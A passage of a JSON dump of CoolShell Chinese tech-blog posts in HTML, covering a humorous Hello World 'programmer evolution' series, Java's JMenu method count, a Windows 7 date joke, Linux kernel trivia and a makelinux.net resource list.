src=\"../wp-content/uploads/2016/08/Architecture-Internships-Abroad-e1471517643765-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17446.html\">这多年来我一直在钻研的技术</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4535.html\"><img alt=\"一些软件设计的原则\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/1.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4535.html\">一些软件设计的原则</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/19464.html\"><img alt=\"如何超过大多数人\" height=\"150\" src=\"../wp-content/uploads/2019/06/competition-360x200-1-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/19464.html\">如何超过大多数人</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2589.html\"><img alt=\"十个免费的Web压力测试工具\" height=\"150\" src=\"../wp-content/uploads/2010/07/get_more_web_traffic-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2589.html\">十个免费的Web压力测试工具</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/6424.html\"><img alt=\"Hash Collision DoS 问题\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/1.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/6424.html\">Hash Collision DoS 问题</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1817.html\"><img alt=\"9个最常见IE的Bug及其fix\" height=\"150\" src=\"../wp-content/uploads/2009/11/200x200-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1817.html\">9个最常见IE的Bug及其fix</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/169.html\">Hello World 集中营</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-3-14 OMG, Jave的JMenu居然有433个方法.html",
    "content": "<html><body><p>Java的Swing类库中有一个类叫JMenu，这个类上面有7层的继承，加上所有被继承下来的方法，这个类一共有433个方法，虽然，很多类是从上面继承下来的，而它自己的方法并没有定义太多的方法，不过，继承体系过深，在底层类上要想知道所有的继承下来的东西并不是一样容易的事情。这个例子展示了一个滥用代码重用的反面案例。我个人认为我们应该反思一下滥用面向对象的作法。</p>\n<p>要把Java一个类所有的方法例出来并不是一件难事，使用Javascript 利用Firefox浏览器所支持的Package来穷举JMenu的方法可以很方便的列出所有的方法。</p>\n<p><span id=\"more-182\"></span><br/>\n下面是这段Javascripts程序：</p>\n<p> </p>\n<pre class=\"html\" name=\"code\">\n<ol></ol></pre></body></html>"
  },
  {
    "path": "blogs/rss2html/2009-3-14 OMG, Windows 7 来自未来.html",
    "content": "<html><body><p>今天，2009年3月14日，某个工程师准备把自己的Windows 7 build7000升级到build 7057，在安装过程中，我们的工程师选择了备份老的系统，于是老的build被备份成到了windows.old目录下，然后当整个系统运行时，这位朋友发现了这一版本的Windows 7好像使用了很多来自外星的技术，很明显他扭曲了时间，下面是他的发现和截屏。</p>\n<p>点击图片可以大图</p>\n<p style=\"text-align: center;\"><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/windows_7_created_in_future2.jpg\"><img alt=\"windows_7_created_in_future2\" height=\"179\" src=\"../wp-content/uploads/2009/03/windows_7_created_in_future2-300x179.jpg\" title=\"windows_7_created_in_future2\" width=\"300\"/></a></p>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7490.html\"><img alt=\"性能调优攻略\" height=\"150\" src=\"../wp-content/uploads/2012/06/f1-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7490.html\">性能调优攻略</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5107.html\"><img alt=\"10大经典错误\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5107.html\">10大经典错误</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4102.html\"><img alt=\"如何学好C语言\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/25.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4102.html\">如何学好C语言</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4077.html\"><img alt=\"纯文本配置还是注册表\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4077.html\">纯文本配置还是注册表</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3270.html\"><img alt=\"两本电子书\" height=\"150\" src=\"../wp-content/uploads/2010/11/Learn-Python-The-Hard-Way-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3270.html\">两本电子书</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3097.html\"><img alt=\"Windows的达尔文进化图\" height=\"150\" src=\"../wp-content/uploads/2010/10/W_600-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3097.html\">Windows的达尔文进化图</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/179.html\">OMG, Windows 7 来自未来</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-3-14 幽默：程序员的进化.html",
    "content": "<html><body><p><strong>高中时期</strong></p>\n<pre class=\"vb\" name=\"code\">\n  10 PRINT \"HELLO WORLD\"\n  20 END\n</pre>\n<p><strong>大学新生</strong></p>\n<pre class=\"pascal\" name=\"code\">\n  program Hello(input, output)\n    begin\n      writeln(\\'Hello World\\')\n    end.\n</pre>\n<p><span id=\"more-172\"></span><br/>\n<strong>高年级大学生</strong></p>\n<pre class=\"c\" name=\"code\">\n#include \n \nint main(void)\n{\n   printf(\"Hello, world!\\\\n\");\n   return 0;\n}\n</pre>\n<p><strong>职业新手</strong></p>\n<pre class=\"c\" name=\"code\">\n  #include \n  void main(void)\n  {\n    char *message[] = {\"Hello \", \"World\"};\n    int i;\n \n    for(i = 0; i \n<p>职业老手</p>\n<pre class=\"c++\" name=\"code\">\n  #include \n  #include \n using namespace std;\n\n  class string\n  {\n  private:\n    int size;\n    char *ptr;\n \n  string() : size(0), ptr(new char[1]) { ptr[0] = 0; }\n \n    string(const string &amp;s) : size(s.size)\n    {\n      ptr = new char[size + 1];\n      strcpy(ptr, s.ptr);\n    }\n \n    ~string()\n    {\n      delete [] ptr;\n    }\n \n    friend ostream &amp;operator \n<p><strong>大师级</strong></p>\n<pre class=\"c++\" name=\"code\">\n  [\n  uuid(2573F8F4-CFEE-101A-9A9F-00AA00342820)\n  ]\n  library LHello\n  {\n      // bring in the master library\n      importlib(\"actimp.tlb\");\n      importlib(\"actexp.tlb\");\n \n      // bring in my interfaces\n      #include \"pshlo.idl\"\n \n      [\n      uuid(2573F8F5-CFEE-101A-9A9F-00AA00342820)\n      ]\n      cotype THello\n   {\n   interface IHello;\n   interface IPersistFile;\n   };\n  };\n \n  [\n  exe,\n  uuid(2573F890-CFEE-101A-9A9F-00AA00342820)\n  ]\n  module CHelloLib\n  {\n \n      // some code related header files\n      importheader();\n      importheader();\n      importheader();\n      importheader(\"pshlo.h\");\n      importheader(\"shlo.hxx\");\n      importheader(\"mycls.hxx\");\n \n      // needed typelibs\n      importlib(\"actimp.tlb\");\n      importlib(\"actexp.tlb\");\n      importlib(\"thlo.tlb\");\n \n      [\n      uuid(2573F891-CFEE-101A-9A9F-00AA00342820),\n      aggregatable\n      ]\n      coclass CHello\n   {\n   cotype THello;\n   };\n  };\n \n \n  #include \"ipfix.hxx\"\n \n  extern HANDLE hEvent;\n \n  class CHello : public CHelloBase\n  {\n  public:\n      IPFIX(CLSID_CHello);\n \n      CHello(IUnknown *pUnk);\n      ~CHello();\n \n      HRESULT  __stdcall PrintSz(LPWSTR pwszString);\n \n  private:\n      static int cObjRef;\n  };\n \n \n  #include \n  #include \n  #include \n  #include \n  #include \"thlo.h\"\n  #include \"pshlo.h\"\n  #include \"shlo.hxx\"\n  #include \"mycls.hxx\"\n \n  int CHello::cObjRef = 0;\n \n  CHello::CHello(IUnknown *pUnk) : CHelloBase(pUnk)\n  {\n      cObjRef++;\n      return;\n  }\n \n  HRESULT  __stdcall  CHello::PrintSz(LPWSTR pwszString)\n  {\n      printf(\"%ws\n\", pwszString);\n      return(ResultFromScode(S_OK));\n  }\n \n \n  CHello::~CHello(void)\n  {\n \n  // when the object count goes to zero, stop the server\n  cObjRef--;\n  if( cObjRef == 0 )\n      PulseEvent(hEvent);\n \n  return;\n  }\n \n  #include \n  #include \n  #include \"pshlo.h\"\n  #include \"shlo.hxx\"\n  #include \"mycls.hxx\"\n \n  HANDLE hEvent;\n \n   int _cdecl main(\n  int argc,\n  char * argv[]\n  ) {\n  ULONG ulRef;\n  DWORD dwRegistration;\n  CHelloCF *pCF = new CHelloCF();\n \n  hEvent = CreateEvent(NULL, FALSE, FALSE, NULL);\n \n  // Initialize the OLE libraries\n  CoInitializeEx(NULL, COINIT_MULTITHREADED);\n \n  CoRegisterClassObject(CLSID_CHello, pCF, CLSCTX_LOCAL_SERVER,\n      REGCLS_MULTIPLEUSE, &amp;dwRegistration);\n \n  // wait on an event to stop\n  WaitForSingleObject(hEvent, INFINITE);\n \n  // revoke and release the class object\n  CoRevokeClassObject(dwRegistration);\n  ulRef = pCF-&gt;Release();\n \n  // Tell OLE we are going away.\n  CoUninitialize();\n \n  return(0); }\n \n  extern CLSID CLSID_CHello;\n  extern UUID LIBID_CHelloLib;\n \n  CLSID CLSID_CHello = { /* 2573F891-CFEE-101A-9A9F-00AA00342820 */\n      0x2573F891,\n      0xCFEE,\n      0x101A,\n      { 0x9A, 0x9F, 0x00, 0xAA, 0x00, 0x34, 0x28, 0x20 }\n  };\n \n  UUID LIBID_CHelloLib = { /* 2573F890-CFEE-101A-9A9F-00AA00342820 */\n      0x2573F890,\n      0xCFEE,\n      0x101A,\n      { 0x9A, 0x9F, 0x00, 0xAA, 0x00, 0x34, 0x28, 0x20 }\n  };\n \n  #include \n  #include \n  #include \n  #include \n  #include \n  #include \"pshlo.h\"\n  #include \"shlo.hxx\"\n  #include \"clsid.h\"\n \n  int _cdecl main(\n  int argc,\n  char * argv[]\n  ) {\n  HRESULT  hRslt;\n  IHello        *pHello;\n  ULONG  ulCnt;\n  IMoniker * pmk;\n  WCHAR  wcsT[_MAX_PATH];\n  WCHAR  wcsPath[2 * _MAX_PATH];\n \n  // get object path\n  wcsPath[0] = \\'\\\\0\\';\n  wcsT[0] = \\'\\\\0\\';\n  if( argc &gt; 1) {\n      mbstowcs(wcsPath, argv[1], strlen(argv[1]) + 1);\n      wcsupr(wcsPath);\n      }\n  else {\n      fprintf(stderr, \"Object path must be specified\\\\n\");\n      return(1);\n      }\n \n  // get print string\n  if(argc &gt; 2)\n      mbstowcs(wcsT, argv[2], strlen(argv[2]) + 1);\n  else\n      wcscpy(wcsT, L\"Hello World\");\n \n  printf(\"Linking to object %ws\\\\n\", wcsPath);\n  printf(\"Text String %ws\\\\n\", wcsT);\n \n  // Initialize the OLE libraries\n  hRslt = CoInitializeEx(NULL, COINIT_MULTITHREADED);\n \n  if(SUCCEEDED(hRslt)) {\n \n \n      hRslt = CreateFileMoniker(wcsPath, &amp;pmk);\n      if(SUCCEEDED(hRslt))\n   hRslt = BindMoniker(pmk, 0, IID_IHello, (void **)&amp;pHello);\n \n      if(SUCCEEDED(hRslt)) {\n \n   // print a string out\n   pHello-&gt;PrintSz(wcsT);\n \n   Sleep(2000);\n   ulCnt = pHello-&gt;Release();\n   }\n      else\n   printf(\"Failure to connect, status: %lx\", hRslt);\n \n      // Tell OLE we are going away.\n      CoUninitialize();\n      }\n \n  return(0);\n  }\n</pre>\n<p><strong>黑客学徒</strong></p>\n<pre class=\"perl\" name=\"code\">\n  #!/usr/local/bin/perl\n  $msg=\"Hello, world.\\\\n\";\n  if ($#ARGV &gt;= 0) {\n    while(defined($arg=shift(@ARGV))) {\n      $outfilename = $arg;\n      open(FILE, \"&gt;\" . $outfilename) || die \"Can\\'t write $arg: $!\\\\n\";\n      print (FILE $msg);\n      close(FILE) || die \"Can\\'t close $arg: $!\\\\n\";\n    }\n  } else {\n    print ($msg);\n  }\n  1;\n</pre>\n<p><strong>有经验的黑客</strong></p>\n<pre class=\"c\" name=\"code\">\n  #include \n  #define S \"Hello, World\\\\n\"\n  main(){exit(printf(S) == strlen(S) ? 0 : 1);}\n</pre>\n<p><strong>老练的黑客</strong></p>\n<pre name=\"code\">\n  % cc -o a.out ~/src/misc/hw/hw.c\n  % a.out\n</pre>\n<p><strong>超级黑客</strong></p>\n<pre name=\"code\">\n  % echo \"Hello, world.\"\n</pre>\n<p><strong>一线经理</strong></p>\n<pre class=\"vb\" name=\"code\">\n  10 PRINT \"HELLO WORLD\"\n  20 END\n</pre>\n<p><strong>中层经理</strong></p>\n<pre name=\"code\">\n  mail -s \"Hello, world.\" bob@b12\n  Bob, could you please write me a program that prints \"Hello, world.\"?\n  I need it by tomorrow.\n  ^D\n</pre>\n<p><strong>高级经理</strong></p>\n<pre name=\"code\">\n  % zmail jim\n  I need a \"Hello, world.\" program by this afternoon.\n</pre>\n<p><strong>首席执行官</strong></p>\n<pre name=\"code\">\n  % letter\n  letter: Command not found.\n  % mail\n  To: ^X ^F ^C\n  % help mail\n  help: Command not found.\n  % damn!\n  !: Event unrecognized\n  % logout\n</pre>\n<p>来源：未知</p>\n<p>关于更多的“hello world”请参看：《<a href=\"https://coolshell.cn/articles/169.html\">Hello World 集中营</a>》<br/>\n<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 - CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22298.html\"><img alt=\"聊聊团队协同和协同工具\" height=\"150\" src=\"../wp-content/uploads/2022/10/communication-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22298.html\">聊聊团队协同和协同工具</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22173.html\"><img alt=\"“一把梭：REST API 全用 POST”\" height=\"150\" src=\"../wp-content/uploads/2022/02/http_method-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22173.html\">“一把梭：REST API 全用 POST”</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22157.html\"><img alt=\"谈谈公司对员工的监控\" height=\"150\" src=\"../wp-content/uploads/2022/02/monitoring-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22157.html\">谈谈公司对员工的监控</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21589.html\"><img alt=\"如何做一个有质量的技术分享\" height=\"150\" src=\"../wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21589.html\">如何做一个有质量的技术分享</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20977.html\"><img alt=\"程序员如何把控自己的职业\" height=\"150\" src=\"../wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20977.html\">程序员如何把控自己的职业</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20765.html\"><img alt=\"MegaEase的远程工作文化\" height=\"150\" src=\"../wp-content/uploads/2020/01/remote-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20765.html\">MegaEase的远程工作文化</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/172.html\">幽默：程序员的进化</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</pre></pre></body></html>"
  },
  {
    "path": "blogs/rss2html/2009-3-15 Linux的15岁生日.html",
    "content": "<html><body><p><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/mask-linus_torvalds.jpg\"></a>今年是Linux的15生日，15年前，1994年3月， Linux kernel 版本1.0.0  released。这几天，全世界很多站点都在发布Blog庆祝Linux的15岁生日，而这篇文章是其中的一篇关于 Linux kernel 的，如果你是Linux的粉丝，希望你能喜欢。</p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/mask-linus_torvalds.jpg\"><img alt=\"mask-linus_torvalds\" class=\"alignright size-thumbnail wp-image-190\" height=\"150\" src=\"../wp-content/uploads/2009/03/mask-linus_torvalds-150x150.jpg\" title=\"mask-linus_torvalds\" width=\"150\"/></a>1. Linux是由一个芬兰的仅有21岁的大学生因为兴趣而产生的。</p>\n<p>2. 为表扬他的突出贡献，有一颗小行星以他的名字命名。<a href=\"http://en.wikipedia.org/wiki/9793_Torvalds\">http://en.wikipedia.org/wiki/9793_Torvalds</a>。</p>\n<p>3. 有上千个开发人员和程序员从世界的各个角落汇聚在一起，他们不停地开发Linux Kernel。</p>\n<p>4. Linux kernel的官方吉祥物是一只小企鹅，叫做Tux.</p>\n<p>5. 欧盟研究基金调查表明，Linux最新内核的评估价格在1.14亿美金。</p>\n<p><span id=\"more-189\"></span></p>\n<p>6. 今天，Linux内核中只有2%的程序由 <a href=\"http://en.wikipedia.org/wiki/Linus_Torvalds\">Linus Torvalds</a>开发。</p>\n<p>7. Linux内核是由C语语开发。</p>\n<p>8. 今天Linux 是一个移值最广泛的操作系统内核，他可以运行在许多不同范围的系统上，包括PC，大型主机，嵌入式等等。</p>\n<p>9. Linux kernel 版本1.0.0 一共有 176,250 行代码，而最新的 Linux kernel 有超过一千万行代码。下面是版本2的代码行列表。</p>\n<li>1999年1月25日 – Linux 2.2.0 was released (1,800,847 代码行).</li>\n<li>2001年1月4日 – Linux 2.4.0 was released (3,377,902 代码行).</li>\n<li>2003年12月17日 – Linux 2.6.0 was released (5,929,913 代码行).</li>\n<li>2008年12月24日 – Linux 2.6.28 was released (10,195,402 代码行).10. 使用一个软件，你可以让Microsoft Windows 和Linux kernel 可以同时的运行在同一台机器上，这个软件叫 <a href=\"http://www.colinux.org/\">Cooperative Linux</a> (coLinux).\n<p>11. 起初, Torvalds 想把这个内核叫做Freax (这个单词合并了 “free”和”freak”，并且使用 X 字母来表明这是一个 Unix-like 的东西)，但他的一个朋友Ari Lemmke，这是一个FTP的管理员，在第一次把Linux的内核放在FTP上供人下载时，他把这个目录命名成了 linux。</p>\n<p>12. 一个叫William Della Croce的人注册了Linux商标，但最终他同意把这个商标还给了 Torvalds。</p>\n<p>13. 今天，全世界500个超级计算机中有超过87%的系统使用了Linux内核。</p>\n<p>14. 术语”vanilla kernel” 不是一种冰激凌，而是一个未更改过的Linux内核。</p></li>\n<p>15. 目前的Linux内核使用了如下技术： <a href=\"http://en.wikipedia.org/wiki/Computer_multitasking#Preemptive_multitasking.2Ftime-sharing\" title=\"Computer multitasking\">真正的抢先式多任务</a> ( <a class=\"mw-redirect\" href=\"http://en.wikipedia.org/wiki/User_mode\" title=\"User mode\">用户模式</a> and <a class=\"mw-redirect\" href=\"http://en.wikipedia.org/wiki/Kernel_mode\" title=\"Kernel mode\">内核模式</a>)， <a href=\"http://en.wikipedia.org/wiki/Virtual_memory\" title=\"Virtual memory\">虚拟内存</a>, <a class=\"mw-redirect\" href=\"http://en.wikipedia.org/wiki/Library_%28computer_science%29\" title=\"Library (computer science)\">动态链接库</a>，<a href=\"http://en.wikipedia.org/wiki/Demand_paging\" title=\"Demand paging\">demand loading</a>, 共享式的<a href=\"http://en.wikipedia.org/wiki/Copy-on-write\" title=\"Copy-on-write\">写时拷贝</a> , <a href=\"http://en.wikipedia.org/wiki/Memory_management\" title=\"Memory management\">内存管理</a>, <a href=\"http://en.wikipedia.org/wiki/Internet_protocol_suite\">Internet 协议包</a>, 和 <a href=\"http://en.wikipedia.org/wiki/Thread_%28computer_science%29\" title=\"Thread (computer science)\">线程</a>.</p>\n<div style=\"text-align: justify;\"><a href=\"http://www.junauza.com/2009/03/15-interesting-facts-about-linux-kernel.html\" target=\"_blank\"></a> </div>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\" id=\"wp_rp_first\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22320.html\"><img alt=\"eBPF 介绍\" height=\"150\" src=\"../wp-content/uploads/2022/12/eBPF-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22320.html\">eBPF 介绍</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/19219.html\"><img alt=\"打造高效的工作环境 – Shell 篇\" height=\"150\" src=\"../wp-content/uploads/2019/03/linux.ninja_-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/19219.html\">打造高效的工作环境 – Shell 篇</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18654.html\"><img alt=\"记一次Kubernetes/Docker网络排障\" height=\"150\" src=\"../wp-content/uploads/2018/12/docker-networking-1-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18654.html\">记一次Kubernetes/Docker网络排障</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17998.html\"><img alt=\"Linux PID 1 和 Systemd\" height=\"150\" src=\"../wp-content/uploads/2017/07/systemd-1-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17998.html\">Linux PID 1 和 Systemd</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17416.html\"><img alt=\"缓存更新的套路\" height=\"150\" src=\"../wp-content/uploads/2016/07/cache-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17416.html\">缓存更新的套路</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/189.html\">Linux的15岁生日</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-3-16 Linux 相关的资源站makelinux.net.html",
    "content": "<html><body><p><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/makelinux.jpg\"><img alt=\"makelinux\" class=\"alignright size-full wp-image-195\" height=\"108\" src=\"../wp-content/uploads/2009/03/makelinux.jpg\" title=\"makelinux\" width=\"209\"/></a>关于Linux相关的资源大家可以到<a href=\"http://www.makelinux.net/\">http://www.makelinux.net/</a>访问相关的文章，很不错的一个和linux内核相关的资源网站，当然，你可能因为种种原因不能访问这个网上的一些资源，那么你可能需要使用代理服务器或是一个叫Tor的软件，关于后者，请参看这篇文章<a href=\"https://coolshell.cn/articles/25.html\">《如何上网觅无踪</a>》</p>\n<p>下面是makelinux上的资源列表，都非常不错。</p>\n<p><span id=\"more-194\"></span></p>\n<p><span style=\"display: none;\"><strong>Resources on the site<br/>\n</strong>• <a href=\"http://www.makelinux.net/system\" target=\"_blank\"><span style=\"color: #0000ff;\">Interactive map of GNU/Linux OS and FOSS</span></a><br/>\n• <a href=\"http://www.makelinux.net/home\" target=\"_blank\"><span style=\"color: #0000ff;\">“GNU/Linux is my home”</span></a> – map of GNU/Linux system<br/>\n• <a href=\"http://www.makelinux.net/kernel_map\" target=\"_blank\"><span style=\"color: #810081;\">Interactive map of Linux kernel</span></a><br/>\n• <a href=\"http://www.makelinux.net/inside\" target=\"_blank\"><span style=\"color: #810081;\">Linux inside</span></a><br/>\n• <a href=\"http://www.makelinux.net/reference\" target=\"_blank\"><span style=\"color: #810081;\">Linux Technology Reference</span></a> (<a href=\"http://www.makelinux.net/reference.d/linksframe.shtml?w=full\" target=\"_blank\"><span style=\"color: #0000ff;\">single page view</span></a>)<br/>\n• <a href=\"http://www.makelinux.net/kernel/diagram\" target=\"_blank\"><span style=\"color: #810081;\">Linux kernel diagram</span></a><br/>\n• <a href=\"http://www.makelinux.net/ldd3/\" target=\"_blank\"><span style=\"color: #810081;\">Linux Device Drivers, 3rd Edition</span></a><br/>\n• <a href=\"http://www.makelinux.net/alp\" target=\"_blank\"><span style=\"color: #810081;\">Advanced Linux Programming</span></a><br/>\n• <a href=\"http://www.makelinux.net/make3\" target=\"_blank\"><span style=\"color: #0000ff;\">Managing Projects with GNU make</span></a><br/>\n• <a href=\"http://www.makelinux.net/books/1000%20Hacker%20Tutorials%202008\" target=\"_blank\"><span style=\"color: #810081;\">1000 Hacker Tutorials 2008</span></a><br/>\n• <a href=\"http://www.makelinux.net/books/intro-linux\" target=\"_blank\"><span style=\"color: #0000ff;\">Introduction to Linux</span></a><br/>\n• <a href=\"http://www.makelinux.net/books/Bash-Beginners-Guide\" target=\"_blank\"><span style=\"color: #0000ff;\">Bash Guide for Beginners</span></a><br/>\n• <a href=\"http://www.makelinux.net/books/abs-guide\" target=\"_blank\"><span style=\"color: #0000ff;\">Advanced Bash-Scripting Guide</span></a><br/>\n• <a href=\"http://www.makelinux.net/books/GNU-Linux-Tools-Summary\" target=\"_blank\"><span style=\"color: #0000ff;\">GNU/Linux Command-Line Tools Summary</span></a><br/>\n• <a href=\"http://www.makelinux.net/books/Linux-Filesystem-Hierarchy\" target=\"_blank\"><span style=\"color: #0000ff;\">Linux Filesystem Hierarchy</span></a><br/>\n• <a href=\"http://www.makelinux.net/books/lkmpg\" target=\"_blank\"><span style=\"color: #810081;\">The Linux Kernel Module Programming Guide</span></a><br/>\n• <a href=\"http://www.makelinux.net/books/sag\" target=\"_blank\"><span style=\"color: #810081;\">The Linux System Administrator\\’s Guide</span></a><br/>\n• <a href=\"http://www.makelinux.net/books/nag2\" target=\"_blank\"><span style=\"color: #810081;\">Linux Network Administrators Guide</span></a><br/>\n• <a href=\"http://www.makelinux.net/books/autobook-1.5/autobook.html\" target=\"_blank\"><span style=\"color: #0000ff;\">Autobook: GNU Autoconf, Automake, and Libtool</span></a> <a href=\"http://sources.redhat.com/autobook/download.html\" target=\"_blank\"><span style=\"color: 